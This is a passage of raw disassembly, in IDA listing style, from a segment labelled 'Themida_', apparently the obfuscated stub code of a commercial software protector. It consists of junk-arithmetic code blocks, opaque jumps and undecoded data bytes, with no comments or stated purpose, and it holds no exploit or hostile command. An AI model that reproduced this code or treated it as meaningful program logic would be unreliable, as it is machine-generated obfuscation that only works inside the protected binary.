		dd 0DEEDE900h, 0C381FFFFh, 0FDC7006h, 0FFDC31E9h, 53E589FFh
		dd 0DD3E9h, 4BB00h, 0BA520000h,	4C9D2B75h, 77B6E956h, 11B50000h
		dd 777EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5028A1:				; CODE XREF: Themida_:00501C86j
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		jmp	loc_5061CA
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C8FC181h, 0F9010AF4h, 4C8FE981h, 31FF0AF4h,	582434FFh
		dd 76E95450h, 5EFFFFE8h, 0DECC592Dh, 0E9C20121h, 65F9h
		dd 4244481h, 370F5C53h,	66EEE9h, 5AD50800h, 5EB15152h
		dd 3BDAE9h, 0A2EB8100h,	5648CD51h, 180BC7BEh, 0E1BF577Ch
		dd 0E953E170h, 0FFFFE6C1h, 39E953ACh, 5000081h,	96251237h
		dd 3158C231h, 1336E9D1h, 815A0000h, 7C6101E3h, 15C38129h
		dd 43314962h, 57A3E381h, 0F38168FAh, 30493895h,	15BD801h
		dd 7B972DD8h, 0E1E910F1h, 8B000024h, 0C4832414h, 0EFAE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_502952:				; CODE XREF: Themida_:00501FCDj
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_503B6F
; ---------------------------------------------------------------------------
		db 1, 0E9h, 8Bh
aQiswskp	db ',$QWP',0
		dw 0FE00h
		dd 0CB4EE9CBh, 0C483FFFFh, 2CC28104h, 52560B3Ch, 0CEE9E289h
		dd 8100005Fh, 0AC2C13F5h, 0E9EA2163h, 0FFFFF550h, 2D7BF181h
		dd 0CB0118FCh, 55505559h, 8210E9h, 5FFA8900h, 0B5AE9h
		dd 52C80100h, 3A14ABBAh, 2EAC16Ch, 0D2F7DAF7h, 3F06EA81h
		dd 0D001A37Fh, 7118055Ah, 6859496Ch, 48Bh, 89240489h, 405E0h
		dd 0E8830000h, 0ACE904h, 0D8F70000h, 426D1505h,	0CDBF572Fh
		dd 0E9708046h, 256Eh, 582434FFh, 326FE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_502A12:				; CODE XREF: Themida_:00505BC8j
		mov	edi, edx
		push	1F28h
		mov	[esp], edi
		push	edx
		mov	edx, 401D51E0h
		add	dword ptr [esp+4], 3B4A2EB2h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 3B4A2EB2h
		pop	edx
		pop	eax
		jmp	loc_502650
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E1895158h, 4C181h, 0EC830000h, 24348904h, 5071DDBEh
		dd 8337E904h, 0B9510000h, 4, 91E9CD01h,	66000038h, 0E3B7535Ah
		dd 0AEE95066h, 31FFFFE4h, 54E952D2h, 81000036h,	4ECh, 240C8900h
		dd 0DF57BAB9h, 0EA19E941h, 0ED81FFFFh, 67516652h, 8102EDC1h
		dd 4CFA82EDh, 4411E92Ah, 4870000h, 2C895C24h, 100BD24h
		dd 0E8210000h, 83242C8Bh, 2C8904ECh, 28E95424h,	80FFFFD8h
		dd 1EE9DEC2h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_502AC7:				; CODE XREF: Themida_:0050009Aj
		sub	esi, 7A5966BAh
		jmp	loc_506021
; ---------------------------------------------------------------------------


loc_502AD2:				; CODE XREF: Themida_:00503AB9j
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4F446FC9h
		xor	eax, ebp
		pop	ebp
		push	1AD1h
		jmp	loc_508689
; ---------------------------------------------------------------------------


loc_502AE9:				; CODE XREF: Themida_:005053F4j
		mov	ebx, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_500F02
; ---------------------------------------------------------------------------
		db 5Ch,	51h, 54h
		dd 83240C8Bh, 0C18104C4h, 4, 7EA7B850h,	0EC0D2620h, 2D69CB3Fh
		dd 6FEB7FEBh, 1140C181h, 0E9810575h, 61609D3h, 0FFE810E9h
		dd 4EE83FFh, 0EA0E9h, 3C77FF00h, 4425E9h, 243C3100h, 5C243C33h
		dd 24043166h, 5017E99Ch, 0CEFE0000h, 285FF680h,	24148BF3h
		dd 8004C483h, 0EB80A9C3h, 0EEA1E9C0h, 46E9FFFFh, 1FFFFC5h
		dd 4CF5E9FAh, 0E9590000h, 0FFFFC69Ah, 2414895Ch, 24148B54h
		dd 4A6868h, 240C8900h, 0BA52E189h, 4E73405Ch, 5293F281h
		dd 0C281566Fh, 27474BC8h, 5E93EA81h, 0D1013F63h, 4C1835Ah
		dd 0E9240C87h, 1211h, 394A68h, 24148900h, 0FFC4F4E9h, 0BACD81FFh
		dd 0F76B9671h, 22E581DDh, 0E954FA24h, 68Ah, 0FFC4DCE9h
		dd 8719B8FFh, 0C229E5B2h, 0E9D00158h, 7C74h, 7F514FB9h
		dd 6DA7E93Dh, 0E9C10000h, 0E8C1E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_502C06:				; CODE XREF: Themida_:0050AD9Fj
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		push	6725h
		mov	[esp], eax
		xchg	ecx, [esp]
		push	5C9Eh
		mov	[esp], ecx
		jmp	loc_509A28
; ---------------------------------------------------------------------------
		dd 0B027BF57h, 0FB01EC0Dh, 0D9C2E95Fh, 5759FFFFh, 0C781E789h
		dd 4, 4C781h, 0C1E90000h, 8900003Eh, 97B1240Ch,	240AB050h
		dd 0E9C02455h, 640Ah
; ---------------------------------------------------------------------------


loc_502C60:				; CODE XREF: Themida_:0050555Aj
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_507529
; ---------------------------------------------------------------------------
		db 0BBh, 76h, 17h
aKSkp		db '',9,'p',0
		dw 8100h
		dd 0B45E14F3h, 0EACB8155h, 0F7641F10h, 0B76856DBh, 5E0D2015h
		dd 83E6E9h, 66D80000h, 0DEB3535Bh, 0FF5BD800h, 81592434h
		dd 4C4h, 2EC8100h, 66000000h, 53241489h, 0F4B260B7h, 3E51E9h
		dd 52665F00h, 384DBA66h, 66D12166h, 0D1F7665Ah,	72E98166h
		dd 52BC687Bh, 14890000h, 37CEE924h, 15E0000h, 5BC281DAh
		dd 8B717614h, 4DE9241Ch, 81000039h, 4C4h, 5F545700h, 4C781h
		dd 0EF830000h, 243C8704h, 1041E9h, 1C875700h, 87D3F724h
		dd 3C8B241Ch, 4C48124h,	31000000h, 0E9F731FEh, 0FFFFEC04h
		dd 0C2F6815Eh, 89174807h, 0FA015EF7h, 2BDB685Fh, 4890000h
		dd 2721B824h, 11E926BAh, 81FFFFE9h, 8D0304EFh, 6E685832h
		dd 0E9000031h, 5BE1h, 0C3815B54h, 4, 23B768h, 24348900h
		dd 0AF6BE2BEh, 0E7BB533Ah, 0E96DFC3Fh, 6AFDh, 68575954h
		dd 4, 0FFDDCDE9h, 4C483FFh, 242C8B66h, 5102C483h, 0E6686657h
		dd 815F664Ch, 4ECh, 6478E900h, 62030000h, 2ED06838h, 54E90000h
		dd 68000023h, 4DDCh, 0FFD685E9h, 68C681FFh, 816EA00Ah
		dd 0D4239BC6h, 32E95B45h, 29FFFFF9h, 2434FFC7h,	0FC5E9h
		db 0
; ---------------------------------------------------------------------------


loc_502DD9:				; CODE XREF: Themida_:005094A3j
		add	al, 8Ch
		push	ebx
		jmp	loc_5059F2
; ---------------------------------------------------------------------------
		db 66h,	5, 3Ch
		dd 0C301664Ch, 1844E9h,	4C48300h, 53E18951h, 4BBh, 0E9D90100h
		dd 6069h, 704CE5BAh, 5AD03115h,	0E92434FFh, 537Eh, 43E68166h
		dd 6652660Ah, 661246BAh, 5A66D629h, 0B8CE8166h,	0D6F76627h
		dd 9F68166h, 4F70E900h,	0BA520000h, 68464996h, 46499ABBh
		dd 5C61E968h, 0C3FE0000h, 1D57E9h, 5A665B00h, 0E903E4C0h
		dd 4255h
; ---------------------------------------------------------------------------


loc_502E54:				; CODE XREF: Themida_:0050159Bj
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		jmp	loc_50973F
; ---------------------------------------------------------------------------


loc_502E5F:				; CODE XREF: Themida_:00508846j
		add	esp, 4
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_505BA7
; ---------------------------------------------------------------------------
		dw 0E780h
		dd 2EFC0E9h, 262DE9h
		db 0
; ---------------------------------------------------------------------------


loc_502E81:				; CODE XREF: Themida_:0050954Dj
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 6AFBC132h
		or	eax, ebp
		jmp	loc_504E0B
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 755B74D6h, 0F5C5814Dh, 18BFEEBh, 67E95DE8h, 81000025h
		dd 7D0FC4C3h, 81D3F713h, 7FA051C3h, 5BDD09F7h, 0BDBED81h
		dd 0E9012CFEh, 2C1815Dh, 33000000h, 0C31240Ch, 240C3324h
		dd 6624248Bh, 0E924048Fh, 0FFFFC1E1h
; ---------------------------------------------------------------------------


loc_502EE0:				; CODE XREF: Themida_:0050B1FEj
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 7D2C5151h
		jmp	loc_504D3E
; ---------------------------------------------------------------------------


loc_502EF8:				; CODE XREF: Themida_:00502FC3j
		mov	ebx, edx
		jmp	loc_50A358
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 11D86804h, 0C890000h, 3D4B6824h,	24890000h
		dd 24048124h, 4, 50AE6859h, 4890000h, 0DBCB824h, 0E9533F3Eh
		dd 7F8Ch, 33241431h, 248B2414h,	243CD224h, 0C17FE99Ch
		dd 6866FFFFh, 89661548h, 0D8882404h, 0FFD5A2E9h, 5FFA01FFh
		dd 1256B850h, 0C2293A4Ch, 582434FFh, 4C481h, 0ABE90000h
		dd 0B8000060h, 39DF1402h, 0E20DED0Dh, 0CEB42D7Ch, 0C6892D2Fh
		dd 0D2C28158h, 12AE92Ch, 0D2EA81F2h, 5E2AE92Ch,	6E3BBB53h
		dd 0DBF74C80h, 0C385C381h, 0DA295D1Bh, 4088E9h
		db 0
; ---------------------------------------------------------------------------


loc_502FA1:				; CODE XREF: Themida_:0050ADBDj
		xchg	eax, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		push	34F7h
		mov	[esp], edi
		jmp	loc_5063CA
; ---------------------------------------------------------------------------


loc_502FBD:				; CODE XREF: Themida_:00502194j
		add	edx, 360FA5D9h
		jmp	loc_502EF8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_4FF887
; ---------------------------------------------------------------------------


loc_502FDF:				; CODE XREF: Themida_:005003FAj
		not	ebp
		xchg	ebp, [esp]
		jmp	loc_505EBB
; ---------------------------------------------------------------------------


loc_502FE9:				; CODE XREF: Themida_:005080FEj
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 2A1D2D83h
		push	ecx
		xor	dword ptr [esp], 76B71E46h
		pop	eax
		push	esi
		mov	esi, 76B71E46h
		xor	eax, esi
		pop	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		jmp	loc_50AF33
; ---------------------------------------------------------------------------
		db 87h
		dd 815C2404h, 4C7h, 44ADE900h, 5AD0000h, 2DA2045Eh, 15EAE9h
		dd 50EE2900h, 5EE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_503049:				; CODE XREF: Themida_:005027CAj
		sub	esi, 5AD955A5h
		jmp	loc_509C34
; ---------------------------------------------------------------------------
		dd 94EA8159h, 13E721Dh,	94C281DAh, 0E93E721Dh, 5E9Ch, 240C8B66h
		dd 396768h, 24348900h, 4A3DE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50307A:				; CODE XREF: Themida_:005073EBj
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_503301
; ---------------------------------------------------------------------------
aBSi		db ']{*[',0
		dw 5800h
		dd 81E28952h, 4C2h, 0C218E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5030A2:				; CODE XREF: Themida_:005080ADj
		add	edi, edx
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		popa
		jmp	loc_50A73F
; ---------------------------------------------------------------------------
		db 31h,	0F0h, 0FFh
		dd 815E2434h, 4C4h, 0E9C33100h,	2965h, 4C7815Fh, 83000000h
		dd 65E904C7h, 80000012h, 0E8289DC5h, 67B75359h,	8101EF80h
		dd 4ECh, 241C8900h, 1246C86h, 6C86D5F6h, 0C05B0124h, 0DFF608E7h
		dd 8852D7F6h, 88FD88EEh, 0F5865AF7h, 0AAE9C6FEh, 89000067h
		dd 0BE5658C5h, 61C95580h, 0CFE9F329h, 0BB00001Dh, 4A3E3881h
		dd 0C381EBD1h, 14CB045Dh, 0FF5BD929h, 555A2434h, 0C5815D54h
		dd 4, 69F6E9h, 8BD60100h, 1BE92414h, 5FFFFF4h, 4, 4C2368h
		dd 0C83E900h, 0E1C10000h, 34E18102h, 83131E61h,	8DE901E9h
		dd 29FFFFCDh, 0DEB81CBh, 5736AB08h, 855AFABFh, 5FFB2947h
		dd 83240C8Bh, 3AE904C4h, 58FFFFBFh, 3187E9h, 2C38300h
		dd 31241C33h, 1C33241Ch, 24248B24h, 6602EC83h, 0E9240C89h
		dd 3BD6h, 0E9243C87h, 0FFFFDB7Ah, 31242C33h, 5DE9242Ch
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5031BB:				; CODE XREF: Themida_:00507061j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_509E58
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 2434FF04h, 0FFFD26E9h, 5DE831FFh, 0E2802A2Dh, 58C529F3h
		dd 0C15D5A55h, 0EA8103EAh, 2ACC072h, 0FFC25DE9h, 0E9E789FFh
		dd 0FC3h
; ---------------------------------------------------------------------------


loc_5031FC:				; CODE XREF: Themida_:0050B0A5j
		push	63A76C0Dh
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 3F794931h
		shr	edi, 6
		xor	edi, 573E41BCh
		xor	edi, 7C5001DFh
		shl	edi, 7
		add	edi, 4C18CFDFh
		jmp	loc_508DDA
; ---------------------------------------------------------------------------
		db 52h,	88h, 0CAh
		dd 0F6E9D2F6h, 8700001Ch, 248B243Ch, 24040824h,	4D3DE99Ch
		dd 0E9810000h, 0A8C9DACCh, 447AE9h, 0C8B6600h, 593FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50325A:				; CODE XREF: Themida_:0050453Ej
		pop	edx
		sub	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	ebp
		push	esp
		jmp	loc_50A395
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0B9240C89h, 0CB10642h, 159CD31h, 0E8015DE8h, 0B102422Dh
		dd 2E59E90Ch, 0C3800000h, 0F6E3D0CCh, 5069E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_503296:				; CODE XREF: Themida_:00506206j
		mov	edx, 24A86471h
		sub	esi, edx
		pop	edx
		add	esi, ecx
		jmp	loc_50A1C8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8324h, 16CDE9h, 81E58900h, 4C5h, 3DF1E900h, 3B680000h
		dd 8900006Ah, 0B7B9240Ch, 0E913F43Ch, 2A13h, 0B8240489h
		dd 2A3F6172h, 48BC129h,	4C48324h, 7A0CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5032E5:				; CODE XREF: Themida_:00507E42j
		sub	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		jmp	loc_504791
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4ECh, 240C8900h, 8A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_503301:				; CODE XREF: Themida_:00503083j
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edi
		push	esi
		jmp	loc_501E1F
; ---------------------------------------------------------------------------
aBuiEbuhAns@	db '#Eh',0Ah
		db 'n=@',0
		align 10h
		dd 0C2EBEE81h, 0D3E9798Ch, 28FFFFC1h, 0C9B6E9D8h, 0B450FFFFh
		dd 58E528AEh, 0E8003204h, 5360E9h
		db 0
; ---------------------------------------------------------------------------


loc_503351:				; CODE XREF: Themida_:00501430j
		mov	edi, 42B5A69h
		shr	edi, 2
		add	edi, 16804896h
		sub	edi, 27196A08h
		add	edx, edi
		pop	edi
		add	esi, edx
		pop	edx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		dw 3487h
		dd 89665C24h, 5FB7241Ch, 4BE9F800h, 100006Fh, 5D04246Ch
		dd 40558h, 81530000h, 4ECh, 242C8900h, 0D03955BDh, 2C4EE963h
		dd 0E9590000h, 270Fh, 38E9D5B9h, 87BE5671h, 4E4A8744h
		dd 96E9D6F7h, 5300000Ch, 4CE930B3h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5033D3:				; CODE XREF: Themida_:005018D9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 69C313A5h
		jmp	loc_501181
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0B068240Ch, 89000043h, 0EC832414h, 0BEB3E904h, 2C87FFFFh
		dd 0B8505C24h, 4, 48BC301h, 4C48124h, 83000000h, 1C8702C3h
		dd 4D9E924h, 0FB870000h, 0FB87D7F7h, 74ACB81h, 0F38112A6h
		dd 40FA2F93h, 6CE9D801h, 5EFFFFEBh, 0FFE756E9h,	24048BFFh
		dd 0E904C483h, 0FFFFF42Eh, 42474FFh, 24048F5Bh,	3779E9h
		dd 24040100h, 0DE240481h, 0E9362966h, 0FFFFEC9Bh, 0EB81D3F7h
		dd 2A90CC14h, 315BDD89h, 3EE95DEEh, 81FFFFFCh, 4C2h, 4C28100h
		dd 87000000h, 62E92414h, 6800005Ch, 2C8Ah, 89243489h, 4C681E6h
		dd 0E9000000h, 0FFFFDDF9h, 24048B66h, 4EC81h, 27E90000h
		dd 81FFFFD0h, 276173F5h, 3511E900h, 0B5E0000h, 7B840FC0h
		dd 53000020h, 0EC815B54h, 4, 5483E9h, 47BFBE00h, 0A3685DC0h
		dd 8900003Fh, 1FBD242Ch, 0E913BB7Dh, 16A1h
; ---------------------------------------------------------------------------


loc_5034E8:				; CODE XREF: Themida_:00504B21j
		push	dword ptr [edi+24h]
		push	ecx
		pop	dword ptr [edi+24h]
		pop	ecx
		push	7730h
		jmp	loc_507F34
; ---------------------------------------------------------------------------


loc_5034FA:				; CODE XREF: Themida_:00503F61j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		push	esp
		pop	edi
		push	2699h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5097A2
; ---------------------------------------------------------------------------
aSgq		db '[Q',0
		dw 2900h
		dd 24148BD6h, 0C104C483h, 4B6808E6h, 89000005h,	0EC832404h
		dd 242C8904h, 6A126CBDh, 964EB804h, 0E8015DC5h,	121BE9h
		dd 17BB5300h, 9302F2Ah,	241C8BDDh, 8104C483h, 0FF2ED5EDh
		dd 5DEB8933h, 0E95BD929h, 71C4h, 0FFBB58E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_503569:				; CODE XREF: Themida_:00507F37j
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_50189C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D1F708E1h, 0D66DBB53h, 0E9812B3Ah, 3A320CF5h, 0C181D901h
		dd 3A320CF5h, 59CE295Bh, 685EF031h, 2B41h, 0BF243C89h
		dd 7F63467h, 1626CF81h,	0C4E967F6h, 14h, 685866E3h, 1F28h
		dd 30BBE9h, 67F28100h, 1C5FA73h, 0C8895AD1h, 0BADFE959h
		dd 8953FFFFh, 81BE56E3h, 816DCB10h, 0CB1085F6h,	0C0AEE96Dh
		dd 0F181FFFFh, 59443618h, 2414F751h, 7BB2E959h,	1C890000h
		dd 51B95124h, 31380632h, 5904244Ch, 0FFD4D0E9h,	5FF831FFh
		dd 0FEAFE956h, 0C89FFFFh, 4B924h, 0CE010000h, 6CBB5359h
		dd 814B0521h, 0FADE96C3h, 0FCE1E9B4h, 0E289FFFFh, 1BDEE9h
		dd 51606800h, 4890000h,	4EC8124h, 89000000h, 0E9552424h
		dd 4BD7h, 4603FEBBh, 0CB81435Dh, 2E195AFAh, 10CCB81h, 0C14B7428h
		dd 0F38102EBh, 1FDFD6FBh, 835BDD01h, 2C8704C5h,	4055C24h
		dd 55000000h, 4E5C6851h, 81596F58h, 584E58F1h, 59CD896Fh
		dd 2A3AE9h, 81E58900h, 4C5h, 4C58300h, 5C242C87h, 0FFF917E9h
		dd 2C48BFFFh, 0E95212F5h, 0FFFFBBE8h, 5624148Bh, 0C681E689h
		dd 4, 220EE9h, 0E9515600h, 499Bh, 138BBA66h, 0E0EB8166h
		dd 0EB816619h, 1660479h, 2866E9D3h, 55B0000h, 0FFFFFFFFh
		dd 54266852h, 7FE90A64h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5036FB:				; CODE XREF: Themida_:00509E68j
		push	7C34h
		mov	[esp], ecx
		push	5C4CC01Ah
		pop	ecx
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		jmp	loc_505EA2
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 72h
		dd 0C17DE36Ah, 0B95108E8h, 733157BFh, 0F5E9C831h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50372B:				; CODE XREF: Themida_:005083D9j
		shr	ebp, 4
		shr	ebp, 4
		xor	ebp, 72D6B6ACh
		mov	ecx, ebp
		pop	ebp
		inc	ecx
		shl	ecx, 7
		push	esi
		mov	esi, 11AC52B2h
		add	esi, 19B223A2h
		and	ecx, esi
		jmp	loc_5067FE
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 5C243C33h, 83241489h, 3C8904ECh, 4EC8324h, 17D5E9h
		dd 2474FF00h, 3A9FE904h, 81590000h, 4C6h, 24343300h, 33243431h
		dd 248B2434h, 0DF8EE924h, 5452FFFFh, 4E2DE9h, 4C38100h
		dd 0E9000000h, 96Eh, 69C8E95Ah,	51660000h, 0B917E99Ch
		dd 2C33FFFFh, 242C3124h, 0F1814159h, 0F5208F14h, 0C8BC801h
		dd 4C48124h, 0E9000000h, 68CAh,	0C0B60F58h, 87048F66h
		dd 0FFB8ECE9h, 2BDFFh, 43E90000h, 1000054h, 2CA3E9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5037E6:				; CODE XREF: Themida_:005071F3j
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		jmp	loc_504D9D
; ---------------------------------------------------------------------------
aAd2sN		db 'aD2N',0
		align 2
aPsq		db 'Pq^',0
		align 4


loc_503804:				; CODE XREF: Themida_:0050853Cj
		xor	ecx, edi
		pop	edi
		push	ebp
		mov	ebp, 0BA288DCEh
		xor	ecx, ebp
		pop	ebp
		sub	[edi+24h], ecx
		jmp	loc_50A937
; ---------------------------------------------------------------------------
		dd 5C240487h, 68240C89h, 479Bh,	51241489h, 0DE9C588h, 51FFFFE7h
		dd 0C74E86B9h, 6E9C101h, 32A8E181h, 31E963BCh, 89000028h
		dd 0E9522404h, 0FFFFBFECh, 5C24048Fh, 6C15BF57h, 0EF810BC9h
		dd 0D83296Ch, 2149E9h, 33616800h, 2C890000h, 5EF66824h
		dd 1C890000h, 7D6D6824h, 0F9E96DA5h, 68000067h,	39D5h
		dd 89243489h, 0D4E952E6h, 89FFFFBCh, 18B7241Ch,	0E9AEEF80h
		dd 5FCAh
; ---------------------------------------------------------------------------


loc_503898:				; CODE XREF: Themida_:00507B65j
		sub	esp, 4
		jmp	loc_5076C3
; ---------------------------------------------------------------------------
		db 57h
		dd 0BE56E789h, 4, 90E9F701h, 0AD00000Ch, 9601012Dh, 0EABA525Eh
		dd 813AA47Fh, 6E6A41C2h, 5DEA8118h, 2900F28Eh, 24148BD0h
		dd 4C481h, 0D8010000h, 8904EC83h, 47E9243Ch
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5038E3:				; CODE XREF: Themida_:00505EB6j
		add	esp, 4
		jmp	loc_5002F3
; ---------------------------------------------------------------------------


loc_5038EE:				; CODE XREF: Themida_:005073BEj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_500C2D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F7662424h, 1DEE9F1h, 348B0000h, 4C48124h, 57000000h
		dd 129CE9h, 2474FF00h, 48F5F04h, 0A0E95C24h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50391F:				; CODE XREF: Themida_:00500267j
		pop	esp
		mov	[esp], eax
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, 0BA76398h
		push	esi
		mov	esi, 73C716A6h
		jmp	loc_509351
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0DFE92424h, 68FFFFE9h, 5C68h, 0FF240C89h, 8B042474h
		dd 5453240Ch, 84B9515Bh, 0F7159743h, 4E1C1D9h, 0F181D1F7h
		dd 172F5900h, 613BF181h, 0C3814E5Bh, 681A7C0Ah,	4865C381h
		dd 30E9591Fh
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50397F:				; CODE XREF: Themida_:00507D91j
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		push	4876h
		mov	[esp], edi
		push	ebp
		jmp	loc_507BD5
; ---------------------------------------------------------------------------
aFlSa		db 'f,$a-',0
		dw 8800h
		dd 0E9D786EFh, 4116h, 0E9E9D05Bh, 394Bh, 0ECE95452h, 89000069h
		dd 0A3BB241Ch, 0BA51EA61h, 0CEF20998h, 3DB8C281h, 0EAE9315Fh
		dd 46h,	99EB80E3h, 0B60F5866h, 87048FC0h, 0FFB6DCE9h, 243487FFh
		dd 241C895Ch, 265054BBh, 5BEB8127h, 8108CB13h, 192A5EF3h
		dd 1EB8331h, 4279E381h,	0F3813D11h, 2D000224h, 1C8BD901h
		dd 4C48124h, 57000000h,	69D7E9h, 0EC81AD00h, 4,	0BF243C89h
		dd 6F3F05AFh, 116EF82Dh, 0BE57E92Ch, 0D188FFFFh, 0FFC7ACE9h
		dd 242C87FFh, 6856515Ch, 4B9C0C7Ah, 5724348Bh, 0C781E789h
		dd 4, 4C781h, 0B4680000h, 8900006Ch, 74FF243Ch,	8F5F0424h
		dd 248B2404h, 0ECFCE924h, 8359FFFFh, 83E904C5h,	66FFFFF9h
		dd 2837B652h, 0FF5A66F3h, 815A2434h, 4C4h, 1935E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_503A92:				; CODE XREF: Themida_:00507DF3j
		add	eax, edi
		pop	edi
		add	ecx, 16E3176Ah
		add	ecx, eax
		sub	ecx, 16E3176Ah
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_502AD2
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 0DE01E905h, 5CB8FFFFh, 0E9306771h, 53E1h, 0B5EBE95Ch
		dd 0AF68FFFFh, 0E900002Ch, 0FFFFE77Eh, 67806866h, 24148966h
		dd 0E99C5066h, 0FFFFB5D1h
; ---------------------------------------------------------------------------


loc_503AF0:				; CODE XREF: Themida_:00505EBCj
		or	esi, 497113FDh
		jmp	loc_508D34
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFE99AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_503B01:				; CODE XREF: Themida_:00504AB2j
		pop	esp
		add	eax, 3B74608Eh
		push	31CEh
		mov	[esp], edi
		push	6CD9h
		mov	[esp], ebx
		mov	ebx, 25E10FD4h
		jmp	loc_50848B
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 8B241433h, 30FF2424h, 6232E9h, 53575D00h, 7C336855h
		dd 815D324Ah, 1F22DEC5h, 7E5C152h, 0D9FDF581h, 0EB8933D5h
		dd 0CA31E95Dh, 0CB81FFFFh, 65EB5060h, 5FC2C381h, 0CB814BE7h
		dd 36B76219h, 0F63BEB81h, 0BAE9F7F7h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_503B6F:				; CODE XREF: Themida_:00502970j
		sub	esp, 4
		mov	[esp], ebx
